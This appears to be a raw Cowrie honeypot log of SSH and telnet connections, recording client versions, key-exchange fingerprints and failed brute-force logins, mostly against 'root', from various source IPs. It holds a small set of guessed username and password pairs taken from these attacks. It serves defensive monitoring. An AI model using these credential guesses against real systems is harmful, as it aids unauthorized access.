{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:05.366307Z","src_ip":"43.153.54.120","session":"efb2aee220a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2019","message":"login attempt [root/Root2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:05.673356Z","src_ip":"43.153.54.120","session":"efb2aee220a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:05.677025Z","src_ip":"43.159.35.21","session":"21d9ec936f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:06.745013Z","src_ip":"43.153.54.120","session":"efb2aee220a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":59808,"dst_ip":"159.203.135.109","dst_port":22,"session":"529cf25bb559","protocol":"ssh","message":"New connection: 43.159.169.93:59808 (159.203.135.109:22) [session: 529cf25bb559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:11.821568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:11.825804Z","src_ip":"43.159.169.93","session":"529cf25bb559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:11.893890Z","src_ip":"43.159.169.93","session":"529cf25bb559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Arpit@123","message":"login attempt [root/Arpit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:12.202938Z","src_ip":"43.159.169.93","session":"529cf25bb559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:13.275301Z","src_ip":"43.159.169.93","session":"529cf25bb559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.22029185295105,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:13.373891Z","src_ip":"152.42.224.71","session":"7571276642e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.69532656669617,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:15.124752Z","src_ip":"152.42.224.71","session":"783b62e6fc63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":55776,"dst_ip":"10.17.0.5","dst_port":22,"session":"057195e6a050","protocol":"ssh","message":"New connection: 58.186.20.143:55776 (10.17.0.5:22) [session: 057195e6a050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:16.137373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:16.142920Z","src_ip":"58.186.20.143","session":"057195e6a050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:16.387184Z","src_ip":"58.186.20.143","session":"057195e6a050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":55612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9849b3660b92","protocol":"ssh","message":"New connection: 103.75.182.198:55612 (10.17.0.5:22) [session: 9849b3660b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:16.577145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:16.582103Z","src_ip":"103.75.182.198","session":"9849b3660b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:16.828506Z","src_ip":"103.75.182.198","session":"9849b3660b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Samora4u","message":"login attempt [root/1Samora4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:17.390149Z","src_ip":"58.186.20.143","session":"057195e6a050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elena","message":"login attempt [root/elena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:17.567353Z","src_ip":"103.75.182.198","session":"9849b3660b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56904,"dst_ip":"10.17.0.5","dst_port":23,"session":"b281539c71ce","protocol":"telnet","message":"New connection: 152.42.224.71:56904 (10.17.0.5:23) [session: b281539c71ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:17.579184Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:18.637420Z","src_ip":"58.186.20.143","session":"057195e6a050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:18.816718Z","src_ip":"103.75.182.198","session":"9849b3660b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":54528,"dst_ip":"10.17.0.5","dst_port":22,"session":"eee6e85b5fc7","protocol":"ssh","message":"New connection: 94.159.98.239:54528 (10.17.0.5:22) [session: eee6e85b5fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:22.116605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:22.121908Z","src_ip":"94.159.98.239","session":"eee6e85b5fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:22.253297Z","src_ip":"94.159.98.239","session":"eee6e85b5fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":45068,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ca2041c2e7","protocol":"ssh","message":"New connection: 154.83.13.181:45068 (159.203.135.109:22) [session: f6ca2041c2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:22.950849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:22.959220Z","src_ip":"154.83.13.181","session":"f6ca2041c2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:23.129534Z","src_ip":"94.159.98.239","session":"eee6e85b5fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:24.031443Z","src_ip":"154.83.13.181","session":"f6ca2041c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:24.263884Z","src_ip":"94.159.98.239","session":"eee6e85b5fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56914,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b1a855aef2","protocol":"telnet","message":"New connection: 152.42.224.71:56914 (10.17.0.5:23) [session: 23b1a855aef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:24.268779Z"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"admin","message":"login attempt [sammy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:24.653743Z","src_ip":"154.83.13.181","session":"f6ca2041c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:25.865925Z","src_ip":"154.83.13.181","session":"f6ca2041c2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00629687309265,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:33.176018Z","src_ip":"152.42.224.71","session":"f85e1dd80340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":53846,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d2e76ca5b81","protocol":"ssh","message":"New connection: 62.193.106.227:53846 (10.17.0.5:22) [session: 8d2e76ca5b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:33.625748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:33.630299Z","src_ip":"62.193.106.227","session":"8d2e76ca5b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38660,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a2183457c8","protocol":"ssh","message":"New connection: 103.27.238.114:38660 (10.17.0.5:22) [session: 82a2183457c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:33.640552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:33.644732Z","src_ip":"103.27.238.114","session":"82a2183457c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:33.774267Z","src_ip":"62.193.106.227","session":"8d2e76ca5b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:33.916475Z","src_ip":"103.27.238.114","session":"82a2183457c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galeon","message":"login attempt [root/galeon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:34.386474Z","src_ip":"62.193.106.227","session":"8d2e76ca5b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789n","message":"login attempt [root/123456789n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:34.733816Z","src_ip":"103.27.238.114","session":"82a2183457c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":55276,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c16aadc4160","protocol":"ssh","message":"New connection: 43.153.22.143:55276 (10.17.0.5:22) [session: 8c16aadc4160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:34.989686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:34.994720Z","src_ip":"43.153.22.143","session":"8c16aadc4160","protocol":"ssh"}
